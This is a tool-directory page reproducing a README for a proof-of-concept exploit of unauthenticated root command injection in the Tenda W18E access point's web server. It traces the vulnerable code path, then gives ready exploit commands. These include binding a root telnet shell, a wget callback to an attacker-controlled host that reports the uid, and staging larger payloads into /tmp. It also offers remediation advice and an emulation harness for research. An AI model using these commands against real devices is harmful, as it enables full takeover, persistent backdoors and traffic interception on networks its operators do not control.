Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-118238 — Proof-of-concept for unauthenticated root OS command injection in the Tenda W18E AP httpd diagnose module, with a self-verifying exploit script and QEMU MIPS emulation harness. | Kitploit
Tools/GitHubGitHub/cushz/cve-2026-118238
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlHardware & IoT SecurityFirmware Analysis
GitHubcushz/cve-2026-118238

CVE-2026-118238

Proof-of-concept for unauthenticated root OS command injection in the Tenda W18E AP httpd diagnose module, with a self-verifying exploit script and QEMU MIPS emulation harness.

124 days agoNot yet reviewed
Share
View Repository

Tenda W18E - Unauthenticated Root Command Injection (diagnose module)

OS command injection in the Tenda W18E High-Power AP web server (/bin/httpd). A remote attacker can execute arbitrary shell commands as root, and on a device in factory / post-reset state the attack needs no authentication.

ProductTenda W18E High-Power AP
Firmware (tested)US_W18EV2_kf_V16.01.0.20(4766)_HighPower
Component/bin/httpd (MIPS32 little-endian, musl, GoAhead-based)
ClassCWE-78 OS Command Injection → arbitrary command execution as root
EndpointsPOST /goform/setModules, POST /goform/getModules (module diagnose)
AuthNone while quickset.done == 0 (factory / post-reset); otherwise any valid session
Vulnerable fieldprotocol (also targetDevice) in the diagnose JSON object
CVEpending

⚠️ Authorized testing only. Use this against devices you own or are explicitly permitted to test. See Legal / responsible use.


1. The vulnerability

The "network check / packet capture" feature stores user-supplied JSON fields into the config store and later splices them into a shell command.

Store (no sanitisation): formSetNetCheckTools (httpd @ 0x4e0968) reads the JSON field protocol and writes it to the config key net.check.protocol. The vendor's own shell-metacharacter check (prod_system_param_valid) is applied to the sibling ip field but not to protocol / targetDevice.

Use (sink): starting a capture makes do_packet_action (httpd @ 0x4ddbd0) read the value back and build a tcpdump command with snprintf, then run it through doSystemCmd → system(3):

// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd);          // -> vsnprintf() -> system(cmd)  -> /bin/sh -c ...

Any shell metacharacter in protocol therefore runs. httpd runs as root, so the injected command does too.

Data flow

POST /goform/setModules  {"diagnose":{... "protocol":";<cmd>;#" ...}}
        │  formSetModules -> cJSON_Parse(request body)
        │  formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value)   [no validation]
        ▼
   config store
        │  getModules -> do_packet_action
        │  GetValue("net.check.protocol")  ->  snprintf("tcpdump ... %s ... &", value)
        ▼
   doSystemCmd(cmd) -> system() -> /bin/sh -c   ← injection executes as root

Why two requests

setModules only stores the payload; the capture worker (and therefore system()) is started by the follow-up getModules. The getModules HTTP response is a status field and reads "insufficient memory" (内存不足…) even on success — so never treat the HTTP response as the result. Verify out of band.


2. Repository layout

.
├── poc.sh                  # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt     # reference capture of a successful run
├── harness/                # reproduce with NO hardware (full-system MIPS emulation)
│   ├── build_and_run.sh    # build emulated rootfs + boot httpd on 127.0.0.1:8080
│   ├── cfmstub.c           # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│   ├── init_poc.sh         # guest init: mount, seed config, bring up eth0
│   └── sercon.py           # drive the guest serial console
├── LICENSE
└── README.md

3. Run it against real hardware

  1. Put the AP in its default/factory state (or log in and reuse the session) and connect to its LAN. Note its IP (commonly 192.168.0.1).

  2. Fire the self-verifying PoC:

    ./poc.sh 192.168.0.1
    

    It writes a proof file into the web root and reads it back, printing e.g. W18E-RCE-OK-uid0 → the command ran as uid 0 (root).

  3. Run your own command:

    ./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999'      # bind a root shell (telnetd ships on the device)
    telnet 192.168.0.1 9999                               # ... then connect to it
    

    Or a blind network callback to a listener you control (replace with your LAN IP):

    # on your machine:  nc -lvnp 4444
    ./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
    # your listener shows:  GET /uid_0 HTTP/1.1
    

Payload size limit. The command is assembled with snprintf into a 256-byte buffer (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Keep the injected command under ~110 characters or the tail gets truncated and nothing runs. For anything bigger, stage it: wget/tftp a script or MIPS-LE binary into /tmp, chmod +x, run it.

No id/whoami on the device. Its BusyBox is stripped (id, whoami, nc are not compiled in). Available tools include sh, awk, grep, cat, cut, sed, wget, tftp, telnetd, ping. Prove root via /proc/self/status (uid 0) as the PoC does.


4. Run it against the emulator (no hardware)

The harness boots the original httpd and its shipped .sos under full-system MIPS emulation. Only GetValue/SetValue are shimmed (cfmstub.c via LD_PRELOAD), because the on-device cfmd config daemon needs NAND flash the emulator lacks — all vulnerable code is unmodified firmware. (User-mode QEMU does not work here: the multithreaded GoAhead server deadlocks on FUTEX_LOCK_PI; a real kernel is required.)

Prerequisites (Debian/Ubuntu)

sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld:   sudo apt install clang lld

You also need a MIPSEL malta kernel that boots an ext2 rootfs — any firmadyne/FirmAE vmlinux.mipsel.4 works.

Build + boot

cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root   # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh        # prints: httpd is live at http://127.0.0.1:8080/

Exploit + verify

../poc.sh 127.0.0.1:8080                                   # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'

Expected output is in EXPECTED_OUTPUT.txt. In the emulator the host is reachable from the guest at 10.0.2.2 (QEMU user-mode NAT), so network-callback payloads should target 10.0.2.2:<port>.


5. Impact

Unauthenticated (factory state) remote root command execution on an access point: full device takeover — persistent backdoor, traffic interception (it is literally the packet-capture feature), credential/config theft, LAN pivot, or bricking.


6. Remediation

  • Run tcpdump via execve/posix_spawn with an argv[] — do not build a shell string.
  • Validate every field at the formSetNetCheckTools boundary with an allow-list (protocol = known keywords; targetDevice = ^[0-9A-Fa-f:.]+$), not just ip.
  • Never pass tainted data as the format argument of doSystemCmd; use doSystemCmd("%s", cmd) and audit the other callers.
  • If a blocklist is kept, extend it — it currently misses $ > < ( ) ` and newline.

7. Legal / responsible use

This proof-of-concept is published for security research and educational purposes only. Only run it against hardware you own or are explicitly authorized to test. Unauthorized access to computer systems is illegal in most jurisdictions. The authors accept no liability for misuse. If you find this issue on devices you do not control, follow coordinated/responsible disclosure with the vendor.


Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →